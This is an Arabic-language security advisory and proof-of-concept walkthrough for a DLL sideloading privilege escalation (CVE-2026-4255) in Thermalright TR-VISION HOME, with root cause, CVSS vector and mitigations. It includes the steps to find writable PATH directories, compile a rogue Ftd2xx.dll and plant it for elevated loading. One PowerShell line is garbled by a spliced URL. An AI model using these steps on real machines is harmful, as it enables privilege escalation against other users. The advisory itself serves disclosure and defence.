CVE-2026-4255 Thermalright TR-VISION HOME تصعيد الامتيازات عبر التحميل الجانبي لـ DLL

الشدة: عالية (CVSS 8.4)
CWE: CWE-829 تضمين وظائف من مجال تحكم غير موثوق
نُشر: 16/03/2026
CNA: Toreon
الإصدارات المتأثرة: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64 بت)
اكتشفه: Ard33

الوصف

يقوم برنامج Thermalright TR-VISION HOME بتحميل Ftd2xx.dll (مكتبة FTDI USB-to-serial) باستخدام ترتيب البحث الافتراضي لنظام Windows لملفات DLL. يتضمن هذا الترتيب أدلة قابلة للكتابة من قبل المستخدم قبل مواقع النظام المحمية. نظرًا لأن TR-VISION HOME يعمل دائمًا بامتيازات إدارية ولا يقوم بالتحقق من سلامة أو توقيع المكتبات المحملة، يمكن للمهاجم الذي يمكنه الكتابة في أي دليل موجود في PATH زرع ملف Ftd2xx.dll معدل بحيث يتم تحميله بامتيازات مرتفعة في المرة التالية التي يتم فيها تشغيل التطبيق.

ليست هناك حاجة إلى حقوق إدارية لزرع ملف DLL. يمكن لمستخدم منخفض الامتيازات استغلال ذلك ضد أي مستخدم يقوم لاحقًا بتشغيل TR-VISION HOME بامتيازات مرتفعة.

ناقل CVSS 4.0

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

السبب الجذري

يستدعي التطبيق LoadLibrary("Ftd2xx.dll") (أو يستورده ضمنيًا وقت التحميل) دون تحديد مسار مؤهل بالكامل. يقوم Windows بحل المكتبة عن طريق السير في ترتيب البحث المحدد في MSDN - ترتيب البحث عن مكتبة الارتباط الديناميكي:

1. الدليل الذي تم تحميل التطبيق منه
2. دليل النظام (C:\Windows\System32)
3. دليل النظام 16 بت
4. دليل Windows
5. دليل العمل الحالي
6. الأدلة المدرجة في متغير البيئة PATH ← قابل للاستغلال

يقوم المهاجم بزرع Ftd2xx.dll في دليل قابل للكتابة من قبل المستخدم يظهر في PATH قبل System32. الدليل C:\Users\<User>\.local\bin) هو أحد هذه الأدلة ويكون موجودًا في PATH افتراضيًا، مما يجعله موقع إسقاط موثوقًا.

البرامج المتأثرة

تم اختباره على TR-VISION HOME 2.0.5 على Windows 11.

إثبات المفهوم

المتطلبات الأساسية

• أي حساب مستخدم Windows عادي (لا يتطلب حقوق مسؤول لزرع DLL)
• دليل قابل للكتابة من قبل المستخدم موجود في %PATH%
• يجب أن يقوم المستخدم الهدف بتشغيل TR-VISION HOME (يطلب الارتفاع عبر UAC عند البدء)

الخطوات

1. تحديد دليل PATH قابل للكتابة

$env:PATH -split ';' | Where-Object {
    if (-not $_ -or -not (Test-Path $_)) { return $false }
    try {
        $t = Join-Path $_ '.wrtest'
        [System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
        Remove-Item $t -Force
        $true
    } catch { $false }
}

افتراضي موثوق: C:\Users\<User>\.local\bin

2. ترجمة DLL الخاصة بإثبات المفهوم

MinGW (مشترك أو أصلي):

gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib

MSVC:

cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll

3. زرع DLL

اختر أي دليل قابل للكتابة من الخطوة 1. افتراضيان شائعان:

:: دليل البرامج النصية الافتراضي لـ uv / pipx
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"

:: مشغل Python (تثبيت Python القياسي)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"

لا يلزم رفع امتيازات لهذه الخطوة.

4. التشغيل

يطلق الضحية TR-VISION HOME (مثلًا من قائمة ابدأ أو شريط النظام). يطلب UAC تشغيل التطبيق بامتيازات إدارية. أثناء التهيئة، يتم حل Ftd2xx.dll عبر ترتيب البحث، ويتم العثور على النسخة المزروعة قبل System32، ويتم تنفيذ DllMain الخاص بالمهاجم داخل العملية المرتفعة.

5. النتيجة المتوقعة

• ظهور نافذة منبثقة تؤكد تحميل DLL داخل العملية المرتفعة
• إنشاء ملف C:\Users\Public\CVE-2026-4255_pwned.txt يحتوي على:
  • معرف العملية لـ TR-VISION HOME
  • تأكيد أن TokenIsElevated = YES

دليل لقطات الشاشة

Procmon يظهر TR-VISION HOME (PID 78940) يبحث عن Ftd2xx.dll عبر أدلة PATH - جميعها ترجع NAME NOT FOUND حتى يتم حل النسخة المزروعة:

Ftd2xx.dll مزروع في AppData\Local\Programs\Python\Launcher\ (التاريخ 26/12/2025 — يوم الاكتشاف):

شل cmd مرتفع تم إطلاقه بواسطة DLL المحملة - شريط العنوان يؤكد سياق المسؤول:

الإصدار TR-VISION HOME 2.0.5:

التخفيف

بالنسبة لـ Thermalright:

1. تحميل Ftd2xx.dll باستخدام مسار مؤهل بالكامل في وقت التشغيل:
   root@kitploit:~

   LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
   

2. استخدام أعلام LOAD_LIBRARY_SEARCH_SYSTEM32 أو LOAD_LIBRARY_SEARCH_APPLICATION_DIR مع LoadLibraryEx.
3. التحقق من التوقيع الرقمي للمكتبات المحملة عبر WinVerifyTrust.
4. تمكين وضع البحث الآمن لـ DLL (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1)، على الرغم من أن هذا لا يخفف تمامًا من الزرع عبر PATH.

للمستخدمين (مؤقتًا):

• وضع Ftd2xx.dll الشرعي (من حزمة برامج تشغيل FTDI D2XX) مباشرة في دليل تثبيت TR-VISION HOME (مثل C:\Program Files\TR-VISION HOME\). دليل التطبيق هو أول موقع يتم البحث فيه، لذا فإن النسخة الشرعية هناك تأخذ أولوية على أي زرع قائم على PATH.
• لا تقم بتشغيل TR-VISION HOME حتى يتوفر إصدار مصحح.

الجدول الزمني

المراجع

• NVD CVE-2026-4255
• CWE-829 تضمين وظائف من مجال تحكم غير موثوق
• MSDN - ترتيب بحث DLL
• برنامج تشغيل FTDI Ftd2xx
• Thermalright TR-VISION HOME

إخلاء المسؤولية

يتم توفير إثبات المفهوم هذا للأغراض التعليمية والبحثية فقط. حمولة إثبات المفهوم غير ضارة عن قصد - فهي تكتب ملفًا نصيًا وتعرض مربع رسالة. استخدم فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.